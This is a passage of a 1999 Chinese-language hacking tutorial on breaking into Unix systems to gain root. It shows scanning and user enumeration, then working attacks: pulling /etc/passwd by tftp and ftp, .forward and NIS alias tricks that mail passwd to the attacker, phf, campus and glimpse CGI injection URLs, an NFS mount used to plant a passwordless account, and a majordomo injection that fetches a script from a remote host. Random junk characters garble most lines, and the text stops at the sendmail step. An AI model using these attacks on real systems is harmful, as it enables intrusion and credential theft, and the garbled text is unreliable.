1999-5 北京- `5 C! ^7 ?2 m% M3 R, B; m
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[摘要] 入侵一個系統(tǒng)有很多步驟,階段性很強的“工作”,其最終的目標(biāo)是獲得超級用戶權(quán)限——對目標(biāo)系統(tǒng)的絕對控制。從對該系統(tǒng)一無所知開始,我們利用其提供的各種網(wǎng)絡(luò)服務(wù)收集關(guān)于它的信息,這些信息暴露出系統(tǒng)的安全脆弱性或潛在入口;然后我們利用這些網(wǎng)絡(luò)服務(wù)固有的或配置上的漏洞,試圖從目標(biāo)系統(tǒng)上取回重要信息(如口令文件)、或在上面執(zhí)行命令,通過這些辦法,我們有可能在該系統(tǒng)上獲得一個普通的shell接口;接下來,我們再利用目標(biāo)系統(tǒng)本地的操作系統(tǒng)或應(yīng)用程序的漏洞試圖提升我們在該系統(tǒng)上的權(quán)限,攫取超級用戶控制;適當(dāng)?shù)纳坪蠊ぷ靼[藏身份、消除痕跡、安置特洛伊木馬和留后門?!?font class="jammer">7 i2 z% t6 m! {. i
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(零)、確定目標(biāo)& k( F$ M& o- U2 b% x
, ^+ U1 j/ b( i- k( Q) N% b1) 目標(biāo)明確--那就不用廢話了# T+ ]: t; w6 i& W* R1 }6 I/ r* m
+ _! w) n8 u& c2 y2) 抓網(wǎng):從一個有很多鏈接的WWW站點開始,順藤摸瓜;
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3) 區(qū)段搜索:如用samsa開發(fā)的mping(multi-ping);2 B5 i6 y* p1 C: C e$ O9 ?
0 \/ @- ]3 C; |* O" X4) 到網(wǎng)上去找站點列表;
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(一)、 白手起家(情報搜集)
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/ ]9 B$ v: o9 r: ^0 B9 t從一無所知開始:
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1) tcp_scan,udp_scan
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# tcp_scan numen 1-65535
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6 V2 e! f& N& K* B* y8 r3 W0 l7:echo:
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7:echo:- u/ T, p7 [# X$ x2 x$ E0 y; H
5 y7 Z: V" G+ D0 R1 H
9:discard:
$ K% ~/ c( e# @# F+ {& j* F
2 Z& v9 W0 ?8 c( ?- T13:daytime:% h: {/ p) ?; w. A- y4 [
7 |( o+ M& s8 [% K3 ], |
19:chargen:
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" q, _' i; W# Y8 o+ g21:ftp:7 p0 t: v* R; ?+ ~+ w1 g
, b- i+ \( V/ z- i/ X) R23:telnet:( d: {- T6 ^) u% o6 t; U. n9 O
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25:smtp:
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37:time:; t$ O" f+ m. O& c, X
8 a8 F1 Q; f( V5 @79:finger* L5 N9 w& |4 [/ E
0 z3 G8 ` ^+ ?* c3 }5 M111:sunrpc:, u" v, } v; w$ J( k0 [# C( e
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512:exec:7 S$ u- k9 R! _- ~ J& G
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513:login:
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514:shell:. t, K; ?# q r) W! K
! q# Y1 ~$ {$ v7 p* L515:printer:
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4 ~. j9 I1 s( [- `. @& A540:uucp:* v2 X, I' w7 r6 z2 U2 m
) V5 M9 T5 p+ q6 F' N! t2049:nfsd:
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; b4 T" P* Q; I& B( ^( \) A4045:lockd:( L) F1 T& m: o9 ]: L( c: U
8 R1 T# M9 q6 v9 c- C7 {+ q6000:xwindow:" \) g$ M* a/ M( ~% b; S1 X, {
& B+ c- k: N. F' o6112:dtspc:
k! B- k+ q0 q/ V
$ c/ t) z; b; H: h2 z4 L: A7100:fs:
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% F# q5 |0 [) V$ N8 V1 t
# udp_scan numen 1-65535
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, t' y7 |6 n. C$ x8 r* h7:echo:
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7:echo:* @- `; Y& Z( Z4 ]
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9:discard:; t8 k; f% p1 j( c9 X
& a0 V0 w5 {1 w13:daytime:
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" P! w% I, s8 w6 c4 Y3 \19:chargen:
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37:time:8 Z0 e$ ^! c9 H+ ?$ ?
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42:name:
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3 Q( U% u# U: ` l; z69:tftp:9 G# y& U! M" L: {
- ]% K: a2 W7 x+ L111:sunrpc:9 P8 f2 _0 k ]2 D @6 l+ x
$ n2 o$ ]8 C$ \8 _% U161:UNKNOWN:
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177:UNKNOWN:) C: y$ r3 ]0 \" {
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...8 |1 H, b8 a0 ~ v
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看什么:
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1.1)可疑服務(wù): finger,sunrpc,nfs,nis(yp),tftp,etc..
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1.2)系統(tǒng)入口: ftp,telnet,http, shell(rsh), login (rlogin),smtp,exec(rexec)! K% H" h# y/ a4 t/ _4 z/ O
* Z7 y, f9 Y6 }- T9 w8 P(samsa: [/etc/inetd.conf]最要緊!!): ?, f% \3 A8 E. s
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2) finger' v3 [3 D1 L2 ?3 q
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# finger root@numen
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# e4 L! _8 c) j* k' R[numen]; T8 n/ l- y; h# _
0 ~; k) ?& c& Z& I; FLogin Name TTY Idle When Where$ E$ b7 S! t% w+ V9 }2 N! ^( v
( \7 W3 M D; {1 _3 N8 ?root Super-User console 1 Fri 10:03 :08 w: m S' L$ X7 U$ [& J0 f
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root Super-User pts/6 6 Fri 12:56 192.168.0.1162 x$ N$ L6 ]) r( g) i% U
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root Super-User pts/7 Fri 10:11 zw3 f' Z& e# [+ x0 g- g, O2 V) i
& ]) u6 d8 W! r; m; {5 r6 A$ groot Super-User pts/8 1 Fri 10:04 :0.0" X3 S2 e( M+ f8 z- D5 w# f$ C/ _% x
6 t' ]4 @) N: A" x8 f" y0 Troot Super-User pts/1 4 Fri 10:08 :0.05 D {( ]" k; b& R
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root Super-User pts/11 3:16 Fri 09:53 192.168.0.114/ D$ F: v& z" j2 q, e! d$ v
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root Super-User pts/10 Fri 13:08 192.168.0.1162 A5 s1 o- m, z! ]) z
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root Super-User pts/12 1 Fri 10:13 :0.0
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(samsa: root 這么多,不容易被發(fā)現(xiàn)哦~). F% I& U- E( J1 e/ v3 _
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# finger ylx@numen
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[victim.com]* m+ F4 a9 [+ ?! s% R2 y
$ h3 A+ r+ _$ @3 S2 T* G! f8 bLogin Name TTY Idle When Where d' [& T. @1 h+ u+ D1 U
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ylx ??? pts/9 192.168.0.79 A6 C- ]! o f5 O) n. P* m" `9 ]
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# finger @numen) p- b* _; J% e2 I9 j2 q
4 P6 \ A4 r% l( {[numen]$ B+ U% `' g# ?
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Login Name TTY Idle When Where
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) w- F# n% ]/ x: Jroot Super-User console 7 Fri 10:03 :0
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7 r% n* k3 [% Y# q$ L/ {- x: zroot Super-User pts/6 11 Fri 12:56 192.168.0.116
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* t% [8 H- k$ B8 N" s/ ?root Super-User pts/7 Fri 10:11 zw9 i$ c1 W5 A* a
5 i D# y3 O( q9 M c, `. U1 }3 Broot Super-User pts/11 3:21 Fri 09:53 192.16 numen:
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1 Z4 |8 R: a: k5 Vroot Super-User pts/11 3:21 Fri 09:53 192.16 numen:& F, t% O0 m* k/ d- i
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ts/10 May 7 13:08 18 (192.168.0.116)
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1 F3 N8 h: ^' m3 a5 ]# p4) showmount
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% a4 _7 H: Z' |/ l: y; s5 `# showmount -ae numen
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( @2 Z( t% @5 Lexport table of numen:
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/space/users/lpf sun9
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. c2 L% ^$ f8 V9 d/ ?samsa:/space/users/lpf* a& J7 V- G# ]" ~
' j0 U- ^. M) n% z1 c( G& z7 ^sun9:/space/users/lpf' i" g% N0 R$ @- S+ F: A# }: X
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(samsa:該機提供了那些共享目錄,誰共享了這些目錄[/etc/dfs/dfstab])
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0 O' r8 F' Q7 m9 _. d1 @) z- T5) rpcinfo
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$ v" @" a2 J; w/ p) d$ W# rpcinfo -p numen
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! m! Q$ b/ z# g, @' I, R7 Aprogram vers proto port service" J3 K: T" ~+ R
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100000 4 tcp 111 rpcbind, c y% z- f! i _- I r4 S2 B
E+ h) ]7 o/ R100000 4 udp 111 rpcbind9 i1 ?% R% n: f' N% O5 G3 l% l
6 Y( Y0 X: T; W* i* N100024 1 udp 32772 status
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100024 1 tcp 32771 status1 W% ^! j+ u1 u# q- N0 y, e
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100021 4 udp 4045 nlockmgr9 m$ i! {, l" ~. f3 M8 Y
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100001 2 udp 32778 rstatd: }5 Q9 v7 U& |; W; R
; I1 n7 M8 U C- |. a e3 P100083 1 tcp 32773 ttdbserver
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100235 1 tcp 32775
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100021 2 tcp 4045 nlockmgr
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" F6 g Z/ t4 u+ M5 d100005 1 udp 32781 mountd
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g+ L* E& \( D100005 1 tcp 32776 mountd) ]6 J) M$ M T) ^- T5 u
, Z8 g3 {5 S0 I) p100003 2 udp 2049 nfs
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100011 1 udp 32822 rquotad) c2 W4 S i! `- {1 V! Z% [
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100002 2 udp 32823 rusersd; I2 u4 }" J6 I/ V& ~
# B) N& L# S. F! z4 n. {/ m! A' P100002 3 tcp 33180 rusersd, `7 ~* x! b" `: c$ b
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100012 1 udp 32824 sprayd
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100008 1 udp 32825 walld
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100068 2 udp 32829 cmsd" v8 e% t+ t. x" i7 E
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(samsa:[/etc/rpc]可惜沒開rexd,據(jù)說開了rexd就跟沒password一樣哦!
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# v1 ^0 ~2 V% C不過有rstat,rusers,mount和nfs:-)
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6) x-windows3 d/ k1 I, T9 }2 r# H
; k8 W/ Q8 E% c6 d5 X# DISPLAY=victim.com:0.01 G$ j& a! \9 |* P( e: U6 L ?4 i. `) l
8 D* G8 T$ C# _) [- M# export DISPLAY
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# export DISPLAY( v& F, K! B7 N0 x( C! R: R
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# xhost
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access control disabled, clients can connect from any host
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(samsa:great!!!)* u" Z" i8 ~8 _4 I6 s2 E
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# xwininfo -root
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; h3 C! X- }$ N$ gxwininfo: Window id: 0x25 (the root window) (has no name)
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, {7 A6 V6 G, d3 q2 tAbsolute upper-left X: 0$ b9 h( }) a! L9 p+ n: [( ]
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Absolute upper-left Y: 0
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* ]$ W& m& U6 `' a. C: IRelative upper-left X: 0
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Relative upper-left Y: 0
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Width: 1152- Z d2 l( w( U; J% Z- ?) J9 d' r
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Height: 9002 r) F1 q0 G9 Z7 S; {# ?( k3 {( b
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Depth: 24
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) ~( G; ~8 C4 d& r) yVisual Class: TrueColor
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* m( [: X7 b, L+ `& L" z2 zBorder width: 0) t0 p/ f/ e0 c! S/ F1 b( x
# `9 K6 Q# o# K: ]Class: InputOutput
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Colormap: 0x21 (installed)
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Bit Gravity State: ForgetGravity
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Window Gravity State: NorthWestGravity, m* X8 z4 R2 p1 q- R0 x4 h( W
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Backing Store State: NotUseful7 i9 k* F$ a$ R# `5 l
0 D' l0 e( C @- p/ r' KSave Under State: no
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Map State: IsViewable
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Override Redirect State: no
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( u$ }; g( N' D9 c& lCorners: +0+0 -0+0 -0-0 +0-0
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, x! ~( W5 z$ r0 R4 `) \: G( Q& L- i5 w-geometry 1152x900+0+0
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3 O: D Q. u6 N: c3 H, u, p(samsa:can't be greater!!!!!!!!!!!)
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7) smtp
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# telnet numen smtp
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Trying 192.168.0.198...4 H" v0 ~) D9 H, T
! | u1 c' c" ~; T9 [Connected to numen.
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$ T. X% p* h8 uEscape character is '^]'.
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1 Q- H8 D& ]4 _+ V1 |, x# E$ X2 x220 numen.ac.cn ESMTP Sendmail 8.9.1b+Sun/8.9.1; Fri, 7 May 1999 14:01:39 +0800' L3 T w( L; j; {0 J
3 X! [" J; n2 R% s' o* C$ s(CST)
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expn root
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250 Super-User <">root@numen.ac.cn>6 T9 l- i6 q) e9 [) I
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vrfy ylx2 h: O9 |) k; R: _: R
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250 <">ylx@numen.ac.cn>) A% ]( a' r0 \: l
6 w( B& i' P9 g$ D. Y- Mexpn ftp
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expn ftp
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250 <">ftp@numen.ac.cn>- N, `; d! f# \' s
9 w' X, E9 q2 N, D/ O0 e8 n! ^(samsa:ftp說明有匿名ftp)" [4 o% x! Q8 H6 _5 n) f; }
( \1 `6 y4 Q- T# J( n% c& O0 n2 ~(samsa:如果沒有finger和rusers,只好用這種方法一個個猜用戶名樂)
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debug1 D$ ]$ ]% V" J- U" @/ F) ]( N
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500 Command unrecognized: "debug"
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+ W7 J) W" M. `1 S& W3 Kwiz$ U4 Q: Z9 D% e3 H% O: ~; k
. e' L3 R& I3 \2 [
500 Command unrecognized: "wiz"
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(samsa:這些著名的漏洞現(xiàn)在哪兒還會有呢?:-(()
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8) 使用 scanner(***)9 s. H, _( c6 h% m N- t+ [
) [2 r9 V9 k: X: G: t# satan victim.com
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...
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8 R5 A1 q8 \- @- P4 j5 ^(samsa:satan 是圖形界面的,就沒法陳列了!!3 k" N6 H. l% k% O8 H
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列舉出 victim.com 的系統(tǒng)類型(e.g.SunOS 5.7),提供的服務(wù)(e.g.WWW)和存在的脆弱性)' {+ e" a" B% c1 H$ E& y- `. z
8 |; k( ^( _' S! `二、隔山打牛(遠程攻擊)) x1 D) O# ?4 ?! f5 a, R
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1) 隔空取物:取得passwd4 ?7 O- m, ?! {2 u
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1.1) tftp
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# tftp numen- A6 q/ v* s9 e9 u0 @* @. g
% A' {" u/ F. S* m, b0 r
tftp> get /etc/passwd
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Error code 2: Access violation) ?1 {2 Y4 W! V1 t* \
5 X4 D$ o. M8 a9 V1 R1 P2 Ytftp> get /etc/shadow
b) ]8 r( Z# r. N/ S! ]8 V
9 y) ], k# `5 z9 q( ~Error code 2: Access violation
- M$ q# d- s3 r9 T. q# x. x
8 u3 `) \ G' D6 e. q {tftp> quit. v9 u/ w0 l' J$ N& e
/ |7 Y- `' |7 X- }8 k s+ |- z
(samsa:一無所獲,但是...)
2 h& V8 F' u. A( F8 o. @; e( S" c3 P2 u2 Y
# tftp sun8
# |. }- N/ E* c- |# y N1 E; \, x* E+ E6 |3 Y( D/ G
tftp> get /etc/passwd0 E* d7 A9 M s' F3 X$ ]
+ u" d6 k1 z2 F: W* K
Received 965 bytes in 0.1 seconds5 ~% O. h" U0 Y1 j- r) z' d
" w) y3 K1 w0 i" M7 dtftp> get /etc/shadow
3 Q1 \( H$ `6 I- r) V: A8 Z) B0 r" J5 W: t
Error code 2: Access violation
1 Y+ C* P/ r0 O' e3 Z0 l
% I: p, v6 U, _; w0 Q* J(samsa:成功了!!!;-)+ M6 h% m9 ^6 {9 Z6 i
% d' w9 h& [& X* }* o; J# cat passwd5 P* W& A0 `( [4 R K1 A: R9 V' X
9 e$ B% D) D! {* e) P" H8 x
root:x:0:0:Super-User:/:/bin/ksh
: J) ^" Q" q, F1 J2 {0 {/ O5 k5 m% V& G& P' F( @" k
daemon:x:1:1::/:# c6 ~* O/ t6 m9 I
P; r. D. g* F! N: d8 hbin:x:2:2::/usr/bin:
9 v' _. v5 t- _" @9 i5 n3 ~: E. h/ v0 k
sys:x:3:3::/:/bin/sh! S. R6 o! C/ w0 ~' C' {% b2 ]( Q9 V
9 ]8 O6 V/ N* Fadm:x:4:4:Admin:/var/adm:
% l. Y. L4 ]) z1 F/ Y0 A/ \
1 S6 y/ K' c$ A5 u: t. flp:x:71:8:Line Printer Admin:/usr/spool/lp:
- e2 x& K" h+ {* U
* x; |. E) T3 [8 N" T% {! l- vsmtp:x:0:0:Mail Daemon User:/:
7 p3 l" @# c6 j2 E$ H
$ H! Q6 B7 n) m8 {0 w* rsmtp:x:0:0:Mail Daemon User:/:
. K+ E& e0 g1 @$ O9 [0 ~8 v7 |. a- B' U p
uucp:x:5:5:uucp Admin:/usr/lib/uucp:: B7 V/ d( H7 R' ^) a! T7 p9 G" ^
, }1 V6 o4 w; q1 V" k/ k
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
% w6 G- A& D; l' G/ o( }( I! h! t% `& ^1 i. {
listen:x:37:4:Network Admin:/usr/net/nls:
& W: b' Y- V3 o0 J0 b: }
0 _- N# {$ o9 x+ C+ unobody:x:60001:60001:Nobody:/:
6 Q/ J6 w) b$ f0 I
! O8 K* f$ }* j; _, e( m& rnoaccess:x:60002:60002:No Access User:/:. C. }4 n- O& h' [
+ d# I$ m' D$ @+ N8 w
ylx:x:10007:10::/users/ylx:/bin/sh6 l& H% V0 g4 f
* t: e/ q4 T o9 H- k; Jwzhou:x:10020:10::/users/wzhou:/bin/sh# h$ D) o9 i9 l0 b4 o# N
6 O/ {# N. j5 X% `wzhang:x:10101:4:Walt Whiteman:/users/wzhang:/sbin/sh& x( _: _% ?$ f5 D/ L
$ i: r: _- [" w% e
(samsa:可惜是shadow過了的:-/)9 A: k- M" T9 }6 s
+ `1 M7 P" \" `4 d) t
1.2) 匿名ftp
7 g$ `4 \* m& z3 S0 [: q9 Z% Y6 A* H# k, W
1.2.1) 直接獲得% C' l* l. v; B$ v1 X6 v5 x( R
3 L6 A; o% z; a: c8 t# ftp sun8% r- [9 Q, `4 }( E4 u/ O. E/ [$ c
8 ^! \; r, L6 _Connected to sun8.( L: e/ n3 u! I1 s7 d6 Q
7 e! M6 h3 C5 C Z6 G6 c' |
220 sun8 FTP server (UNIX(r) System V Release 4.0) ready.
% c1 d4 ]" B% J% W$ t% m0 a7 T4 v" Q) X; k0 e
Name (sun8:root): anonymous
: o# P6 u) g+ L4 H S \ m9 Z7 v; K {" v# C" {8 [
331 Guest login ok, send ident as password.0 H0 Q$ @: e+ j. R' a+ a
& T# o7 _% z, W2 `Password:
) y( l, g: L( [+ w- F
, ^* h) _$ D) Q+ q! C- k5 e4 [! G(samsa:your e-mail address,當(dāng)然,是假的:->)( p( |. `4 r' H- x0 Q g& y# d
9 E+ ~8 C; Z/ n% w# ~) ]
230 Guest login ok, access restrictions apply.
* A* e- Y# h7 }; J2 X3 Q% A0 }2 W( v1 n( _# K; a
ftp> ls" Y+ [3 t4 }. M0 r& I2 M; {
4 `: I/ s, Q8 N2 Z! r6 ~200 PORT command successful.6 }0 M% t2 o, s' e. w; f8 D- a8 ?7 K
- S7 r8 y9 x4 {7 h# O
150 ASCII data connection for /bin/ls (192.168.0.198,34243) (0 bytes).) S* d1 |0 ]. c L; S2 o( i
3 l6 `, G9 a9 D, ?7 y5 |% [; D- r$ K
bin* h9 l, X* H. h* D* G5 k
' Z8 }5 R) E; ~
dev! `' o' j! y& `% U
6 L- X3 Y! I: y
etc
% i- P) j# x2 o! N* A* `& r, f" i5 p/ p. p# p1 ]& _' @6 O! j
incoming3 c! D- Z( d, u$ V2 X# n# |6 ~1 X
2 |/ [* ~2 P4 [8 y( E( gpub3 o) |% {3 d0 x3 C/ V( B
: j* I+ r, o2 y; Iusr
% A8 \/ r B9 _, c
1 f! X x% L" h9 c0 N226 ASCII Transfer complete.
7 s" Q4 n- G- E0 B; F
: p7 T- |7 ]4 n0 [1 S- e# y35 bytes received in 0.85 seconds (0.04 Kbytes/s)
# u- T5 J/ K; Q" c+ s. j0 g6 H2 d; h9 Z' f
ftp> cd etc" f; R( O! P% } E* w
E' x( h7 \0 K5 p- v" Y) H250 CWD command successful.
8 q. y3 U; R7 d, e% F0 N9 m& ], b7 h1 N
ftp> ls$ ^* \, Y" \. m2 A Y
) F7 r) y5 o3 F, V2 s0 u3 R6 J4 r; a
200 PORT command successful.& d% E1 T {3 t. d5 a5 y. Q* M
8 j" }( m* B3 n. y! D6 s
150 ASCII data connection for /bin/ls (192.168.0.198,34244) (0 bytes).! z, J# h4 E0 c- r
2 i8 p; G, y, |; j! |) y# b
group
( a& ?4 L. j0 I2 d, _2 u" k1 R; n7 ^
$ h1 U8 k, T; j! t2 M4 `+ W. T( Fpasswd
" a, [; v) Y2 C& z+ F: P) y/ c* O0 Z! t g* a8 \/ R' a
226 ASCII Transfer complete.
0 L& q7 c8 x* q7 f
: R+ i6 o7 U3 K& ?0 h1 w% M15 bytes received in 0.083 seconds (0.18 Kbytes/s), A% s& o- |( x, ]+ j
) y# i6 [% ^7 u7 z9 J3 O
15 bytes received in 0.083 seconds (0.18 Kbytes/s)
7 E. q9 t+ @% k- J G6 ~$ r9 K
: H$ U7 X% X- g/ M6 \$ ^ftp> get passwd
% u* |4 N2 V7 ?7 Q; J; O; d5 V0 r9 k0 E! }9 B: l. [8 P: {& z* c
200 PORT command successful.& m, I7 a3 ~8 U3 q! v8 t
9 X4 j. z8 F6 F1 a) ~4 S150 ASCII data connection for passwd (192.168.0.198,34245) (223 bytes).: i/ J, U: A: ^* e0 |
: d' Z$ M2 N" e6 c3 i226 ASCII Transfer complete.
" C5 {: _* U+ b0 S* l% y% x2 k) }7 z$ ^) b3 |, C
local: passwd remote: passwd
- N, r0 I$ ~1 f8 j) Q1 c; G% ?" }) W3 L8 o V5 g1 ~. V
231 bytes received in 0.038 seconds (5.98 Kbytes/s)
. E! ~3 j8 B9 l4 K2 Z) I, ]! d- Q( ]# H6 X# e5 C+ k. Z! u
# cat passwd+ {4 Q) P. G9 \5 m: p
. j- ?6 r, G$ [! u& d
root:x:0:0:Super-User:/:/bin/ksh
- _ \/ M. b. o# B
" i2 ~* O3 y8 Kdaemon:x:1:1::/:
( Q H2 A0 A: ]7 [4 d& W4 T* b {
! e6 B1 V/ R5 mbin:x:2:2::/usr/bin:( C. t/ h7 L" p
4 h* c/ L3 i$ Usys:x:3:3::/:/bin/sh
+ Q \2 c) t9 W9 R0 ~- l# F& K( O3 a
adm:x:4:4:Admin:/var/adm:! ~, U3 H9 w( c' W
+ q9 {4 ]1 O7 t5 M& c {
uucp:x:5:5:uucp Admin:/usr/lib/uucp:$ Z" j9 v+ f$ \- X4 E2 ~0 O. I
" w1 e) M1 @8 d o9 M
nobody:x:60001:60001:Nobody:/:0 d& A- C3 u" x9 Q9 m/ a* D7 k# I
5 a) [2 i) W0 q
ftp:x:210:12::/export/ftp:/bin/false T# w; a. w2 l Y6 [: A: K: a
8 T; I( Y: A8 F* u
(samsa:正常!把完整的 passwd 放在匿名ftp目錄下的笨蛋太少了)3 C# W3 k" r* C# Q1 ]/ R. k9 u( N- {4 h
: ^2 V5 W* J& l+ }0 J. U1.2.2) ftp 主目錄可寫; d4 N+ C9 c6 F4 _% `; o
$ W( C6 H5 V/ @2 t
# cat forward_sucker_file4 t5 W/ Q' E6 a' d9 h
$ c& j8 x9 F* Z" x2 \ o$ \5 z"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr"
, Z$ W2 |8 z& B9 S2 o
5 Y0 a9 [3 ?* w) D: [# ftp victim.com
# `4 b* J& F% e9 Y! ?! S: f1 d
6 w/ ?& Q% r# o. ?3 LConnected to victim.com* U" s4 O4 x5 b& B3 Y( `
$ } \" O0 Y* O; @4 v220 victim FTP server ready.7 ~/ L2 L- O- V$ Y8 s& t7 ]% \
% c8 P C3 t6 \
Name (victim.com:zen): ftp
- m4 M. X+ a! j4 G$ m4 l2 ^! g: A
331 Guest login ok, send ident as password.! e4 b7 d4 b8 X1 R' q
2 V8 q. }0 k% Q3 y; u; e0 }
Password:[your e-mail address:forged]8 d: f" y: [. v5 {* M+ |, p3 T
g+ X" C1 n% J, l( ^$ W& u9 y
230 Guest login ok, access restrictions apply.
7 B! v& @8 L: \) Y. C) d4 W4 C, U) |* N; d2 F6 z4 k4 i$ x' r
ftp> put forward_sucker_file .forward1 ^; t9 s' E% B" C( g' I
" J3 O! z; Z" [6 F$ b, e3 v
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
3 o+ t6 _: m% N
# ^7 I, x2 C' q2 Kftp> quit
; Z8 v+ z7 }- J2 V2 j+ u Z2 |- {- q! R6 p5 I4 W
# echo test | mail ftp@victim.com) I8 l! L8 ^$ P6 Z6 b( z7 f- \& t
& T; v9 M" I! x: W8 |6 m4 l L* q(samsa:等著passwd文件隨郵件來到吧...)
% J) f: e, n9 e; \
, r6 w5 j, X) [1.3) WWW
0 G* e! ^7 o- W, [! M4 g+ F& `& b8 ?% Y3 _* x* b; x
著名的cgi大bug) {' m7 ]4 H2 c. e& @" E5 p
# U- d/ W) e; h- E3 b9 I% z
1.3.1) phf
+ n( z! @: c7 h4 O" a* I U8 j* T* n
http://silly.com/cgi-bin/nph-test-cgi?*
7 p) w9 k. _3 b1 D
" X$ W) j: @5 d% n- Thttp://silly.com/cgi-bin/phf?Qalias=x%0aless%20/etc/passwd: Y: ]4 o, {* M
$ ]. x: t6 I& q! g
1.3.2) campus
6 `& s5 n7 R: M" k% t$ Y+ {6 t2 k' e- I( h, B' a J' [2 q5 J
http://silly.edu/cgi-bin/campus?%0a/bin/cat%0a/etc/passwd" f9 Y; e7 I$ O8 l( R- V
! }) U l) X. l0 x \& ]7 Z%0a/bin/cat%0a/etc/passwd) [( w* k" r F3 e
4 E, F6 p6 K+ F& U) I. u+ Q" M% m
1.3.3) glimpse
7 u1 y8 l. \$ T! a9 G& z+ _9 P9 u/ N, ?/ K
http://silly.com/cgi-bin/aglimpse/80|IFS=5;CMD=5mail5me:@my.e-mail.0 B: \; \. z, }7 u3 n: e
3 [, n6 n$ N, E: j: h4 Z7 x4 d
addr
( x8 c+ ~4 v& K m. c. @& ?+ `, U
3 @9 e! i2 t3 p% B(samsa:行太長,折了折,不要緊吧? ;-)9 ?% c7 q5 F2 H7 V
Q+ U D8 |5 V' W' D& Y1.4) nfs' G$ w b+ o2 k0 x
# o! M" U5 B5 d! ? N+ }8 U2 d
1.4.1) 如果把/etc共享出來,就不必說了2 b: P, b* v% V9 P, W1 D! ^
/ W: {; J$ u e0 h7 j$ `( q- a1.4.2) 如果某用戶的主目錄共享出來( O6 i. s: u; ]' Y% ~8 A0 M' l
& j6 V# x; P; N! ?7 d# showmount -e numen* ?* c5 k! L; L% g3 S0 f( g& U& }
2 `4 d' I$ ~) f. ]( b
export list for numen:' M# d8 _4 |# [, C
! | v4 U$ l' P4 v# Y$ y; @/space/users/lpf sun9
4 m! L8 c( n1 j+ @ \+ n! q
l3 z# q3 a! y6 p/ I/space/users/zw (everyone)% ]& O3 U! I; H8 Y) U+ ^- b/ [
! G3 H% K+ ]3 Y" q: J6 C# F3 z# mount -F nfs numen:/space/users/zw /mnt
0 Y" u S* ^7 o$ t* C
) I8 W5 r1 y" m5 }4 x% X, t# cd /mnt( M7 B5 f( G2 |, z4 m
! C0 I6 D' g3 t# ls -ld .6 x4 I$ Y% o# _0 q
: Z+ ~" j/ g, t) j3 f
drwxr-xr-x 6 1005 staff 2560 1999 5月 11 .
# a# |* {$ u. y( J: g
N* [6 P a r/ ~4 r% [# echo zw:x:1005:1:temporary break-in account:/:/bin/sh >> /etc/passwd2 W9 F. w/ n4 ?9 w1 Q
% N" n$ ^9 g4 H# echo zw::::::::: >> /etc/shadow2 `! N0 b# _4 B" i8 G5 B/ m4 J) ]
, C) c+ A, ?) p8 F
# su zw
7 p" F" C- E: p2 p
" _: v ^7 l& m, o% m8 X$ cat >.forward' Z" ?9 e- F( c# D% d, |( s
. Z R4 Y* `/ ]8 r) Q2 J$ cat >.forward
, a3 F7 c( K6 A4 Y' B0 a
$ u' v8 M1 A( }; [& r5 x, @& |" d"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr"
: @1 o3 d8 k- O+ a) m' @) H9 h: r" j8 s$ W
^D" b8 }' {/ J2 S9 {
' U& r6 y3 ^* J( }# echo test | mail zw@numen0 P6 R9 c0 b$ b# m% u& U$ {8 B8 P
( n8 E9 T/ ?' S, J& C: j+ O(samsa:等著你的郵件吧....)
; E; n' U/ D1 ?; F* u1 F6 A
5 H& N4 F* h4 r+ _& P* w1.5) sniffer9 Q$ k# {' W: [8 L! D
+ Y* H9 b8 r+ A% n利用ethernet的廣播性質(zhì),偷聽網(wǎng)絡(luò)上經(jīng)過的IP包,從而獲得口令。
: M% i, q" M, A2 {' o9 x8 H
! Q) {6 Q4 w$ y關(guān)于sniffer的原理和技術(shù)細節(jié),見[samsa 1999].
f- C6 ]1 x8 `( I# e- _) Y! a/ u* B9 L7 n, R1 Y
(samsa:沒什么意思,有種``勝之不武''的感覺...)
1 l- q! G9 J# U0 e
& G( M. N" i0 o4 Y& ]1.6) NIS
0 ~: \- `3 o! n# x% p
) w- o3 t1 ]$ }6 h9 R1.6.1) 猜測域名,然后用ypcat(或?qū)τ贜IS+:niscat)可獲得passwd(甚至shadow)
7 N$ S, w% R& w0 B4 D
9 Z ]+ ]2 v! [% _$ K/ r9 S& i1.6.2) 若能控制NIS服務(wù)器,可創(chuàng)建郵件別名; F2 e# M1 Q- z: Z, @
( ?7 M( h6 L3 f$ e3 t
nis-master # echo 'foo: "| mail me@my.e-mail.addr < /etc/passwd "' >> /etc/alias8 ^1 A4 D" f& |: ~2 d l
, R1 U) _ X' }6 ]
s
& |1 L7 G9 K9 I
/ K1 Q$ P- q0 Z! v, ]' h- a$ t5 Fnis-master # cd /var/yp: T+ v5 i% {" `. n+ y4 r/ @
: Y9 v8 X5 N1 ?. H; N1 ~nis-master # make aliases
' G+ o$ F1 J2 ?, A6 u5 A! H. w
2 X- D& B" `6 w+ rnis-master # echo test | mail -v foo@victim.com
) L9 y& F7 B& |" w
5 f K. Z% X- N# H; G/ F0 j+ W4 Z
# Y3 J s* i7 h+ J* C1 V+ C. E
1.7) e-mail
! k6 f" r, }# [4 s% z; [& V9 e
9 R: a- c$ I, E0 H5 C4 J" Pe.g.利用majordomo(ver. 1.94.3)的漏洞
" R( f3 R ?! Y6 v9 U: a: ]* V9 y" _, t
Reply-to: a~.`/usr/bin/rcp${IFS}me@hacker.home.edu:script${IFS}/tmp
$ ~$ A0 K' ]; B) O
7 @7 R! n' e4 C+ Q$ N/script;;source${IFS}/tmp/script`.q~a/ad=cucu/c=scapegoat\@his.e-mail3 l! N( Y6 l# U! {$ ]2 n
1 K f0 |, F" i* ? ( Q% [5 M4 Z/ c6 V$ e, | T* o9 e
6 s$ @; D( _2 v* t% _% n
# cat script" m- K# J+ P) N( W
8 {, k- D* q) C K
/bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr& K' c2 u& L- t# r/ y7 r
# d2 E) T) o9 D/ P) C2 m#
- S* E U0 D; G1 e. O7 {, N1 Y4 ^9 G; L1 ^3 z4 c' g! T
1.8) sendmail
- U& V8 R: L. R( Z+ W% D( o
) m' x1 U$ w# X2 {5 ^! R利用sendmail 5.55的漏洞:
, j6 w& b" m6 K c4 u, _0 X# ]+ [! _9 ^( X+ _$ C
# telnet victim.com 251 k5 c8 n; I8 ~: S
- [% q7 m' F' x, h% u4 I
Trying xxx.xxx.xxx.xxx...
" A, f; b4 t+ Z
